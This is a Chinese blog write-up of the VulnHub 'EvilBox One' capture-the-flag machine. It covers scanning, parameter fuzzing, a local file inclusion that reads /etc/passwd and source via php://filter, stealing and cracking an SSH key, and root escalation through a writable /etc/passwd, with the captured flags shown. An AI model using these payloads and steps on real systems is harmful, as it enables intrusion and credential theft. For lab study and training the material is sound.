EvilBox_One
- 写写打靶记录。
- 靶机地址:https://www.vulnhub.com/entry/evilbox-one,736/
- Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。
信息收集
- 由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接,所以使用 Kali 去扫描靶机。
- 首先查看 Kali IP 地址:
1 | ┌──(root㉿kali)-[~] |
- 扫描当前网段,发现靶机 IP 地址:
1 | ┌──(root㉿kali)-[~] |
- 继续使用 Nmap 扫描端口、开放服务等信息:
1 | ┌──(root㉿kali)-[~] |
- 扫描出 80 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:
目录扫描
- 熟悉的界面,一看就知道需要目录扫描,使用 feroxbuster 扫一扫:
1 | feroxbuster -u http://192.168.56.111 |
- 发现一个 secret 目录,递归扫一扫:
1 | feroxbuster -u http://192.168.56.111/secret/ |
- 啥也没有,换 dirb 试试:
1 | dirb http://192.168.56.111/secret/ |
- 还是没有,怀疑是字典的问题,换一个字典再试试:
- 注:这里的字典是目录字典,不带后缀的,需要手动添加参数
1 | feroxbuster -u http://192.168.56.111/secret/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x txt,php,html,jsp |
参数爆破
- 发现一个 evil.php 的文件,访问一下看看:
- 结果页面啥也没有,怀疑可能存在有参数,但是不知道参数是什么,可以使用 BurpSuite 或者 ffuf 进行爆破,都尝试一下:
1 | ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -u http://192.168.56.111/secret/evil.php?PARAM=../index.html -fs 0 |
- 感觉还是 BurpSuite 好用点。
文件包含
- 根据利用形式,看着像个文件包含漏洞,试一试:
1 | http://192.168.56.111/secret/evil.php?command=../../../../../etc/passwd |
- 本地包含漏洞存在,看看远程文件包含漏洞行不行:
1 | kali 本地 1.txt 文件内容如下 |
- firefox 上访问一下:
- 很白,啥也没有,远程文件包含看来不行。
- 既然远程不行,那就接着本地,伪协议读一读 evil.php 文件:
1 | http://192.168.56.111/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php |
- 得到 base 编码的字符串,解密一下:
1 | PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg== |
- 一个非常正常的文件包含。
SSH 爆破
- 复盘一下刚刚的 passwd 文件内容:
- 发现一个 mowree 用户,那不是可以看看是否存在 ssh 密钥文件:
- id_rsa : 私钥。
- authorized_keys : 认证关键字文件。
- id_rsa.pub : 公钥。
- 该类文件通常存放在用户的家目录的 .ssh 目录下:
1 | id_rsa |
- 有私钥了,Kali 本地创建一个 id_rsa 文件尝试登录:
1 | vim id_rsa |
- 发现需要输入密码短语,淦。
- 这样就需要 SSH 密码爆破了,使用 john 工具进行爆破:
1 | 用 ssh2john.py 把 id_rsa 改成 john 能识别的哈希 |
- 爆破出密码为:unicorn,登录一下:
- 登录成功~,查找 flag:
1 | mowree@EvilBoxOne:~$ cat user.txt |
- 第一个
flag:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
。
passwd 文件写入
- 普通权限还是不够,提个权。
- 查看一下内核:
1 | mowree@EvilBoxOne:/etc$ uname -a |
- 好像也蛮高,没找到漏洞利用 CVE。
- 在靶机上使用 wegt 下载一个 lse.sh 文件,进行一下信息收集(手动实在是太慢了):
1 | wget http://192.168.56.114/lse.sh |
- 发现 /etc/pass 文件可写,这个文件都能写,那么我们可以通过 openssl 修改 root 的密码。或者添加一个具有 root 用户的权限。
1 | 使用基于 MD5 的 BSD 密码算法计算和加盐指定密码的哈希值,这里密码为 toor |
- 查找第二个 flag:
1 | root@EvilBoxOne:/tmp# cd /root |
- 第二个
flag:36QtXfdJWvdC0VavlPIApUbDlqTsBM
。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!